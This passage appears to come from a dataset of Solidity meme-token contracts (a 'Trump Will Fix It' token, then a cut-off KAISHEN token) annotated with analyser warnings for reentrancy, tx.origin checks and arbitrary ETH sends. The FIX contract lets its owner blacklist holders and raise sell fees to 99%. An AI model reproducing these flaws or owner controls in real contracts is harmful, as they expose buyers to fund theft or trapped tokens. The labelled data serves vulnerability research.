uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountToken, uint amountETH);\n\n function swapExactTokensForTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapTokensForExactTokens(\n uint amountOut,\n uint amountInMax,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapExactETHForTokens(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable returns (uint[] memory amounts);\n\n function swapTokensForExactETH(\n uint amountOut,\n uint amountInMax,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapExactTokensForETH(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapETHForExactTokens(\n uint amountOut,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable returns (uint[] memory amounts);\n\n function quote(\n uint amountA,\n uint reserveA,\n uint reserveB\n ) external pure returns (uint amountB);\n\n function getAmountOut(\n uint amountIn,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountOut);\n\n function getAmountIn(\n uint amountOut,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountIn);\n\n function getAmountsOut(\n uint amountIn,\n address[] calldata path\n ) external view returns (uint[] memory amounts);\n\n function getAmountsIn(\n uint amountOut,\n address[] calldata path\n ) external view returns (uint[] memory amounts);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountETH);\n\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountETH);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ncontract Contract is ERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 public immutable uniswapV2Router;\n\n address public immutable uniswapV2Pair;\n\n bool private swapping;\n\n address public marketingWallet;\n\n address public devWallet;\n\n uint256 public maxTransactionAmount;\n\n uint256 public swapTokensAtAmount;\n\n uint256 public maxWallet;\n\n bool public limitsInEffect = true;\n\n bool public tradingActive = false;\n\n bool public swapEnabled = false;\n\n bool public enableEarlySellTax = true;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n mapping(address => uint256) private _holderFirstBuyTimestamp;\n\n mapping(address => bool) private _blacklist;\n\n bool public transferDelayEnabled = true;\n\n uint256 public buyTotalFees;\n\n uint256 public buyMarketingFee;\n\n uint256 public buyLiquidityFee;\n\n uint256 public buyDevFee;\n\n uint256 public sellTotalFees;\n\n uint256 public sellMarketingFee;\n\n uint256 public sellLiquidityFee;\n\n uint256 public sellDevFee;\n\n uint256 public earlySellLiquidityFee;\n\n uint256 public earlySellMarketingFee;\n\n uint256 public tokensForMarketing;\n\n uint256 public tokensForLiquidity;\n\n uint256 public tokensForDev;\n\n uint256 launchedAt;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) public _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) public automatedMarketMakerPairs;\n\n event UpdateUniswapV2Router(\n address indexed newAddress,\n address indexed oldAddress\n );\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n event marketingWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event devWalletUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiquidity\n );\n\n event AutoNukeLP();\n\n event ManualNukeLP();\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2910146): Contract.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 2910146: Rename the local variables that shadow another component.\n constructor() ERC20(unicode\"Trump Will Fix It\", unicode\"FIX\") {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n marketingWallet = address(0x736e98BdcbFa4770CbfA7333f0F27b4d693be79A);\n\n devWallet = address(0x736e98BdcbFa4770CbfA7333f0F27b4d693be79A);\n\n excludeFromMaxTransaction(address(_uniswapV2Router), true);\n\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n excludeFromMaxTransaction(address(uniswapV2Pair), true);\n\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n uint256 _buyMarketingFee = 0;\n\n uint256 _buyLiquidityFee = 0;\n\n uint256 _buyDevFee = 0;\n\n uint256 _sellMarketingFee = 0;\n\n uint256 _sellLiquidityFee = 0;\n\n uint256 _sellDevFee = 0;\n\n uint256 _earlySellLiquidityFee = 0;\n\n uint256 _earlySellMarketingFee = 0;\n\n uint256 totalSupply = 1 * 1e9 * 1e18;\n\n maxTransactionAmount = (totalSupply * 20) / 1000;\n\n maxWallet = (totalSupply * 20) / 1000;\n\n swapTokensAtAmount = (totalSupply * 5) / 10000;\n\n buyMarketingFee = _buyMarketingFee;\n\n buyLiquidityFee = _buyLiquidityFee;\n\n buyDevFee = _buyDevFee;\n\n buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;\n\n sellMarketingFee = _sellMarketingFee;\n\n sellLiquidityFee = _sellLiquidityFee;\n\n sellDevFee = _sellDevFee;\n\n sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;\n\n earlySellLiquidityFee = _earlySellLiquidityFee;\n\n earlySellMarketingFee = _earlySellMarketingFee;\n\n excludeFromFees(owner(), true);\n\n excludeFromFees(address(this), true);\n\n excludeFromFees(address(0xdead), true);\n\n excludeFromMaxTransaction(owner(), true);\n\n excludeFromMaxTransaction(address(this), true);\n\n excludeFromMaxTransaction(address(0xdead), true);\n\n _mint(msg.sender, totalSupply);\n }\n\n receive() external payable {}\n\n function enableTrading() external onlyOwner {\n tradingActive = true;\n\n swapEnabled = true;\n\n launchedAt = block.number;\n }\n\n function removeLimits() external onlyOwner returns (bool) {\n limitsInEffect = false;\n\n return true;\n }\n\n function disableTransferDelay() external onlyOwner returns (bool) {\n transferDelayEnabled = false;\n\n return true;\n }\n\n function setEarlySellTax(bool onoff) external onlyOwner {\n enableEarlySellTax = onoff;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 962ff5d): Contract.updateSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = newAmount \n\t// Recommendation for 962ff5d: Emit an event for critical parameter changes.\n function updateSwapTokensAtAmount(\n uint256 newAmount\n ) external onlyOwner returns (bool) {\n require(\n newAmount >= (totalSupply() * 1) / 100000,\n \"Swap amount cannot be lower than 0.001% total supply.\"\n );\n\n require(\n newAmount <= (totalSupply() * 5) / 1000,\n \"Swap amount cannot be higher than 0.5% total supply.\"\n );\n\n\t\t// events-maths | ID: 962ff5d\n swapTokensAtAmount = newAmount;\n\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7f28871): Contract.updateMaxTxnAmount(uint256) should emit an event for maxTransactionAmount = newNum * (10 ** 18) \n\t// Recommendation for 7f28871: Emit an event for critical parameter changes.\n function updateMaxTxnAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 5) / 1000) / 1e18,\n \"Cannot set maxTransactionAmount lower than 0.5%\"\n );\n\n\t\t// events-maths | ID: 7f28871\n maxTransactionAmount = newNum * (10 ** 18);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: aaca062): Contract.updateMaxWalletAmount(uint256) should emit an event for maxWallet = newNum * (10 ** 18) \n\t// Recommendation for aaca062: Emit an event for critical parameter changes.\n function updateMaxWalletAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 15) / 1000) / 1e18,\n \"Cannot set maxWallet lower than 1.5%\"\n );\n\n\t\t// events-maths | ID: aaca062\n maxWallet = newNum * (10 ** 18);\n }\n\n function excludeFromMaxTransaction(\n address updAds,\n bool isEx\n ) public onlyOwner {\n _isExcludedMaxTransactionAmount[updAds] = isEx;\n }\n\n function updateSwapEnabled(bool enabled) external onlyOwner {\n swapEnabled = enabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 777b8ce): Missing events for critical arithmetic parameters.\n\t// Recommendation for 777b8ce: Emit an event for critical parameter changes.\n function updateBuyFees(\n uint256 _marketingFee,\n uint256 _liquidityFee,\n uint256 _devFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 777b8ce\n buyMarketingFee = _marketingFee;\n\n\t\t// events-maths | ID: 777b8ce\n buyLiquidityFee = _liquidityFee;\n\n\t\t// events-maths | ID: 777b8ce\n buyDevFee = _devFee;\n\n\t\t// events-maths | ID: 777b8ce\n buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;\n\n require(buyTotalFees <= 50, \"Must keep fees at 50% or less\");\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 614f733): Missing events for critical arithmetic parameters.\n\t// Recommendation for 614f733: Emit an event for critical parameter changes.\n function updateSellFees(\n uint256 _marketingFee,\n uint256 _liquidityFee,\n uint256 _devFee,\n uint256 _earlySellLiquidityFee,\n uint256 _earlySellMarketingFee\n ) external onlyOwner {\n\t\t// events-maths | ID: 614f733\n sellMarketingFee = _marketingFee;\n\n\t\t// events-maths | ID: 614f733\n sellLiquidityFee = _liquidityFee;\n\n\t\t// events-maths | ID: 614f733\n sellDevFee = _devFee;\n\n earlySellLiquidityFee = _earlySellLiquidityFee;\n\n earlySellMarketingFee = _earlySellMarketingFee;\n\n\t\t// events-maths | ID: 614f733\n sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;\n\n require(sellTotalFees <= 99, \"Must keep fees at 99% or less\");\n }\n\n function excludeFromFees(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fa79f4a): Contract.blacklistAccounts(address[],bool).isBlacklisted shadows Contract.isBlacklisted(address) (function)\n\t// Recommendation for fa79f4a: Rename the local variables that shadow another component.\n function isBlacklisted(address account) public view returns (bool) {\n return _blacklist[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fa79f4a): Contract.blacklistAccounts(address[],bool).isBlacklisted shadows Contract.isBlacklisted(address) (function)\n\t// Recommendation for fa79f4a: Rename the local variables that shadow another component.\n function blacklistAccounts(\n address[] memory accounts,\n bool isBlacklisted\n ) public onlyOwner {\n require(accounts.length > 0, \"Accounts list cannot be empty.\");\n\n for (uint256 i = 0; i < accounts.length; i++) {\n _blacklist[accounts[i]] = isBlacklisted;\n }\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: bc5f4bd): Contract.updateMarketingWallet(address).newMarketingWallet lacks a zerocheck on \t marketingWallet = newMarketingWallet\n\t// Recommendation for bc5f4bd: Check that the address is not zero.\n function updateMarketingWallet(\n address newMarketingWallet\n ) external onlyOwner {\n emit marketingWalletUpdated(newMarketingWallet, marketingWallet);\n\n\t\t// missing-zero-check | ID: bc5f4bd\n marketingWallet = newMarketingWallet;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 690794b): Contract.updateDevWallet(address).newWallet lacks a zerocheck on \t devWallet = newWallet\n\t// Recommendation for 690794b: Check that the address is not zero.\n function updateDevWallet(address newWallet) external onlyOwner {\n emit devWalletUpdated(newWallet, devWallet);\n\n\t\t// missing-zero-check | ID: 690794b\n devWallet = newWallet;\n }\n\n function isExcludedFromFees(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n event BoughtEarly(address indexed sniper);\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9f0cbcd): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9f0cbcd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 97f5844): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for 97f5844: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: b9ae7c3): Contract._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(buyTotalFees).div(100) tokensForDev += (fees * buyDevFee) / buyTotalFees\n\t// Recommendation for b9ae7c3: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: a74ca15): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for a74ca15: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 98e007d): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 98e007d: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: c718a74): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for c718a74: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: a38a50b): Contract._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(sellTotalFees).div(100) tokensForDev += (fees * sellDevFee) / sellTotalFees\n\t// Recommendation for a38a50b: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 638a35d): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 638a35d: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 19c8570): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 19c8570: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(\n !_blacklist[to] && !_blacklist[from],\n \"You have been blacklisted from transfering tokens\"\n );\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n if (limitsInEffect) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!tradingActive) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (transferDelayEnabled) {\n if (\n to != owner() &&\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t\t// tx-origin | ID: 97f5844\n require(\n _holderLastTransferTimestamp[tx.origin] <\n block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Buy transfer amount exceeds the maxTransactionAmount.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] &&\n !_isExcludedMaxTransactionAmount[from]\n ) {\n require(\n amount <= maxTransactionAmount,\n \"Sell transfer amount exceeds the maxTransactionAmount.\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n }\n\n if (\n block.number <= (launchedAt + 0) &&\n to != uniswapV2Pair &&\n to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)\n ) {\n _blacklist[to] = false;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: 9f0cbcd\n\t\t\t// reentrancy-eth | ID: 19c8570\n swapBack();\n\n\t\t\t// reentrancy-eth | ID: 19c8570\n swapping = false;\n }\n\n bool takeFee = !swapping;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: 98e007d\n\t\t\t\t// divide-before-multiply | ID: c718a74\n\t\t\t\t// divide-before-multiply | ID: a38a50b\n fees = amount.mul(sellTotalFees).div(100);\n\n\t\t\t\t// divide-before-multiply | ID: 98e007d\n\t\t\t\t// reentrancy-eth | ID: 19c8570\n tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: a38a50b\n\t\t\t\t// reentrancy-eth | ID: 19c8570\n tokensForDev += (fees * sellDevFee) / sellTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: c718a74\n\t\t\t\t// reentrancy-eth | ID: 19c8570\n tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;\n } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: b9ae7c3\n\t\t\t\t// divide-before-multiply | ID: a74ca15\n\t\t\t\t// divide-before-multiply | ID: 638a35d\n fees = amount.mul(buyTotalFees).div(100);\n\n\t\t\t\t// divide-before-multiply | ID: a74ca15\n\t\t\t\t// reentrancy-eth | ID: 19c8570\n tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: b9ae7c3\n\t\t\t\t// reentrancy-eth | ID: 19c8570\n tokensForDev += (fees * buyDevFee) / buyTotalFees;\n\n\t\t\t\t// divide-before-multiply | ID: 638a35d\n\t\t\t\t// reentrancy-eth | ID: 19c8570\n tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: 9f0cbcd\n\t\t\t\t// reentrancy-eth | ID: 19c8570\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: 9f0cbcd\n\t\t// reentrancy-eth | ID: 19c8570\n super._transfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9f0cbcd\n\t\t// reentrancy-no-eth | ID: 55209e3\n\t\t// reentrancy-eth | ID: 19c8570\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 55209e3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 55209e3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 6b9b36e): Contract.swapBack() sends eth to arbitrary user Dangerous calls (success,None) = address(marketingWallet).call{value address(this).balance}()\n\t// Recommendation for 6b9b36e: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: ea8192c): Contract.swapBack().success is written in both (success,None) = address(devWallet).call{value ethForDev}() (success,None) = address(marketingWallet).call{value address(this).balance}()\n\t// Recommendation for ea8192c: Fix or remove the writes.\n function swapBack() private {\n uint256 contractBalance = balanceOf(address(this));\n\n uint256 totalTokensToSwap = tokensForLiquidity +\n tokensForMarketing +\n tokensForDev;\n\n bool success;\n\n if (contractBalance == 0 || totalTokensToSwap == 0) {\n return;\n }\n\n if (contractBalance > swapTokensAtAmount * 20) {\n contractBalance = swapTokensAtAmount * 20;\n }\n\n uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /\n totalTokensToSwap /\n 2;\n\n uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);\n\n uint256 initialETHBalance = address(this).balance;\n\n\t\t// reentrancy-no-eth | ID: 55209e3\n swapTokensForEth(amountToSwapForETH);\n\n uint256 ethBalance = address(this).balance.sub(initialETHBalance);\n\n uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);\n\n\t\t// reentrancy-no-eth | ID: 55209e3\n tokensForLiquidity = 0;\n\n\t\t// reentrancy-no-eth | ID: 55209e3\n tokensForMarketing = 0;\n\n\t\t// reentrancy-no-eth | ID: 55209e3\n tokensForDev = 0;\n\n\t\t// reentrancy-events | ID: 9f0cbcd\n\t\t// write-after-write | ID: ea8192c\n\t\t// reentrancy-eth | ID: 19c8570\n (success, ) = address(devWallet).call{value: ethForDev}(\"\");\n\n\t\t// reentrancy-events | ID: 9f0cbcd\n\t\t// write-after-write | ID: ea8192c\n\t\t// reentrancy-eth | ID: 19c8570\n\t\t// arbitrary-send-eth | ID: 6b9b36e\n (success, ) = address(marketingWallet).call{\n value: address(this).balance\n }(\"\");\n }\n}\n",
"file_name": "solidity_code_10233.sol",
"size_bytes": 41959,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address _account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _setOwner(_msgSender());\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _setOwner(address(0));\n }\n}\n\nlibrary SafeMath {\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function WETH() external pure returns (address);\n}\n\ncontract KAISHEN is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _exclFromLimit;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 888000000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"KAISHEN\";\n\n string private constant _symbol = unicode\"$KAISHEN\";\n\n uint256 public _buyFee = 0;\n\n uint256 public _sellFee = 0;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a0821ab): KAISHEN._feeWallet should be immutable \n\t// Recommendation for a0821ab: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _feeWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: dacf249): KAISHEN._maxTxAmount should be constant \n\t// Recommendation for dacf249: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTxAmount = _tTotal;\n\n\t// WARNING Optimization Issue (constable-states | ID: a2ea1b8): KAISHEN._maxWalletSize should be constant \n\t// Recommendation for a2ea1b8: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxWalletSize = _tTotal;\n\n\t// WARNING Optimization Issue (constable-states | ID: 59c61e6): KAISHEN._taxSwapThreshold should be constant \n\t// Recommendation for 59c61e6: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 200000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 70502d3): KAISHEN._maxTaxSwap should be constant \n\t// Recommendation for 70502d3: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 200000 * 10 ** _decimals;\n\n IUniswapV2Router02 private constant _router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n address public uniswapPair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _feeWallet = payable(0xB25b5610f1FD5cDd6d2c33d2A717BC3b8589C9ce);\n\n _balances[_msgSender()] = _tTotal;\n\n _exclFromLimit[_feeWallet] = true;\n\n _exclFromLimit[address(this)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e1efa03): KAISHEN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e1efa03: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e5b81b5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e5b81b5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 59fa11a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 59fa11a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: e5b81b5\n\t\t// reentrancy-benign | ID: 